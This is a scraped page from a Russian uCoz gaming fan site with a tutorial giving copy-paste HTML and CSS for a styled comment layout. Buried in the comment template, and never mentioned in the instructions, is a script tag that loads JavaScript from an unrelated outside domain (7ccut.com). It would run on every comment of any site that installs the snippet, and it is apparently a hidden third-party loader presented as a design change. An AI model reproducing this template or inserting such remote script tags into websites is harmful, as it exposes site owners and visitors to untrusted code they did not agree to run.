| Главная | Форум | Файлы | Статьи | Игровые новости | Новости Кино | Топ сайтов | Ucoz скрипты | Online Фильмы и Сериалы | Первый игровой телеканал | Фильмы(2011) |
>
| Главная | Мой профиль | Вход | RSS |
Меню сайта
On-line сервисы
Поиск по сайту
Мини-чат
Правила чата

 
500
Друзья и Топы
Друзья сайта

Мы в Топах
Топ Статей
для css
Автор: ☠Вагид☠™
Статья: Как дать Админку по Нику и Паролю?
Дата: 05.01.2011
Ответов: 8
для css
Автор: ☠Вагид☠™
Статья: как установить прицел в CSS...
Дата: 05.01.2011
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Как забиндить кнопки на запись демо
Дата: 21.12.2010
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Прикольные символы для css
Дата: 09.12.2010
Ответов: 0
Мои статьи
Автор: ☠Вагид☠™
Статья: как установить новый фон меню в CSS...
Дата: 05.01.2011
Ответов: 0
Случайные Файлы

Семейная летопись 3.6 x86 [RUS]

Семейная летопись 3.6 x86 [RUS]

Scout

Scout

SpellForce Trilogy  SpellForce Трилогия [RePack] [RUS  ENG]

SpellForce Trilogy SpellForce Трилогия [RePack] [RUS ENG]

.eXe's AUG A1 & 1911 Animations...[video]

.eXe's AUG A1 & 1911 Animations...[video]

Courage Dog...

Courage Dog...

title=
Главная » Статьи » Скрипты

Вид комментариев для юкоз
Удобный вид комментариев для ucoz. Очень хороший дизайн. Подойдет под любой сайт и не будет нагружать страницу сайта. Проблем с установкой не возникнут, так как дизайн простой и есть четкая инструкция - ниже. Можете поменять цвет или что нибудь добавить свое, все делается в таблице CSS стилей. Как по мне "вид комментариев" и так выглядит - отлично. Приступим к установке. Первое, что Вам нужно сделать, — зайти в панель управление сайтом, Главная » Управление дизайном » Комментарии » Вид комментариев и вставляем код:

Код "Вид комментариев для юкоз"

Код
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="$CLASS$"><tr><td style="padding:3px;">
  <div class="comment"><div class="comment-author vcard">
  <div class="avatar"><?if($USER_AVATAR_URL$)?><img alt="" align="left" src="$USER_AVATAR_URL$" width="60" border="0" /><?else?><img src="/avatar.png" width="60" border="0"><?endif?></div>
  <cite class="fn"><?if($USERNAME$)?><a href="$PROFILE_URL$"><b>$USERNAME$</b></a><?else?><b>$NAME$</b><?endif?></cite>
  </div>
  <div class="comment-meta commentmetadata">$DATE$ $TIME$</div>  
  <div style="float:right;font-size:11px;font-family:Arial,sans-serif;"><?if($COMMENT_RATING$<0)?><span class="myWinError"><b>$COMMENT_RATING$</b></span><?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;"><b>$COMMENT_RATING$</b></span><?else?><span class="myWinSuccess"><b>+$COMMENT_RATING$</b></span><?endif?><?endif?> <?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbu.png" width="13" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbd.png" width="13" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://s16.ucoz.net/img/icon/thumbu_.png" align="absmiddle" width="13" border="0" title="Хороший пост"> <img alt="" src="http://s16.ucoz.net/img/icon/thumbd_.png" width="13" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div><div class="cTop" style="text-align:left;"><?if($IS_OWN$)?><span class="myWinError">*</span> <?else?><?if($IS_NEW$)?><span class="myWinSuccess">*</span> <?endif?><?endif?><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><b>$NUMBER$</b></a> <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  </div>
  <div class="cMessage" style="text-align:left;clear:both;padding:2px 0;">$MESSAGE$</div>
<?if($ANSWER$)?><div class="cAnswer" style="text-align:left;clear:both;"><b>Ответ</b>: $ANSWER$</div><?endif?>
  <?if($ANSWER_URL$)?><div style="clear:both;padding:4px 0;font-size:7pt;">[<a href="$ANSWER_URL$">Ответить</a>]</div><?endif?> </div>  
</td></tr></table>


После этого настраиваем стили в таблице стилей CSS

Код
.comment { float: right; clear: both; position: relative; width: 70%; padding: 15px; background: white; margin: 0 0 20px 0; -moz-border-radius: 15px; -webkit-border-radius: 15px; border-radius: 15px;}
.cBlock1 .comment{background:#ddeb84;}
.cBlock2 .comment{background:#F1F2F3;}
.comment-author { position: absolute; left: -210px; top: 0; }
.comment-author cite { display: block; margin-top: 0px; font-family: HelveticaNeue, Helvetica, Arial, Sans-Serif; font-style: normal; color: black;text-align:center;}
.comment-author cite a { color: black; border-bottom: 1px solid transparent; }
.cBlock1 .comment-author .avatar { width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; border: 8px solid #ddeb84; }
.cBlock1 .comment-author .avatar:after { content: ""; display: block; position: absolute; width: 142px; height: 8px; background: #ddeb84; left: 60px; top: 30px; }
.cBlock2 .comment-author .avatar { width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; border: 8px solid #F1F2F3; }
.cBlock2 .comment-author .avatar:after { content: ""; display: block; position: absolute; width: 142px; height: 8px; background: #F1F2F3; left: 60px; top: 30px; }
.comment-author .avatar img{ width: 60px; height: 60px; -moz-border-radius: 38px; position: relative; -webkit-border-radius: 38px; border-radius: 38px; }
.comment .comment-meta { position: absolute; left: -210px; top: 90px; font-family: HelveticaNeue, Helvetica, Arial, Sans-Serif; text-transform: uppercase; }


Установка завершена.
Категория: Скрипты | Добавил: Bitfood (29.12.2013)
Просмотров: 353 | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Погода
Наша кнопка
Если вы хотите помочь нашему сайту в дальнейшем развиваться, то поместите нашу кнопку на вашем сайте или на сайте ваших друзей! Мы будем вам очень благодарны! Если же вы хотите произвести баннеробмен то напишите в ЛС администратору сайта




Наши баннеры
Нашa группa
Статистика



» Зарег. на сайте
Всего: 283
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0

» Из них
Администраторов: 1
Модераторов: 1
Модератор форума: 0
Хламовцев: 6
Обычных юзеров: 275  

» Из них
Парней: 265
Девушек: 18

Рейтинг@Mail.ru

AD-Pixel Pagerank Anzeige ohne Toolbar

EASY.LV Interneta resursu reitings

Рейтинг SIMPLETOP.NET


Онлайн всего: 1
Гостей: 1
Пользователей: 0

Последние зарегистрированные пользователи

  • 284 - tressag29 - 14.11.2024
  • 283 - nagimrasul - 23.05.2023
  • 282 - ivanovwano2013 - 10.03.2019
  • 281 - shamavalera0 - 09.03.2019
  • 280 - almas6837 - 08.08.2017


  • Последнее Форума
    Добавить новость, файл и т.д. в ajax
    Автор: ☠Вагид☠™
    Форум: Ajax
    Дата: 30.12.2024
    Ответов: 1156
    Играй без читов! Учись стрелять метко!
    Автор: ☠Вагид☠™
    Форум: Pазнoе
    Дата: 28.12.2024
    Ответов: 21
    Наши Баннеры
    Автор: ☠Вагид☠™
    Форум: Банероoбмен
    Дата: 24.12.2024
    Ответов: 1
    Правила раздела
    Автор: ☠Вагид☠™
    Форум: Strategy
    Дата: 25.11.2024
    Ответов: 15
    Для тех кому отказали в обмене..
    Автор: ☠Вагид☠™
    Форум: Банероoбмен
    Дата: 15.11.2024
    Ответов: 1

    myxlam.clan.su © 2017Пользовательское соглашение Для правообладателей Хостинг от uCoz

    Сайт тестировался на просмотр следующих браузеров: Internet Explorer 6-8 , Mozilla Firefox 2-3 , Opera 8-10 и Google Chrome.Все права защищены, myxlam.clan.su 2010-2017 © Все файлы расположенные на данном ресурсе были взяты из открытых источников. Любая информация представленная здесь, используется в ознакомительных целях. Ни администрация сайта, ни хостинг-провайдер, ни любые другие лица не могут нести отвественности за использование материалов данного сайта. Входя на сайт вы автоматически соглашаетесь с данными условиями.

    free counters Хостинг от uCoz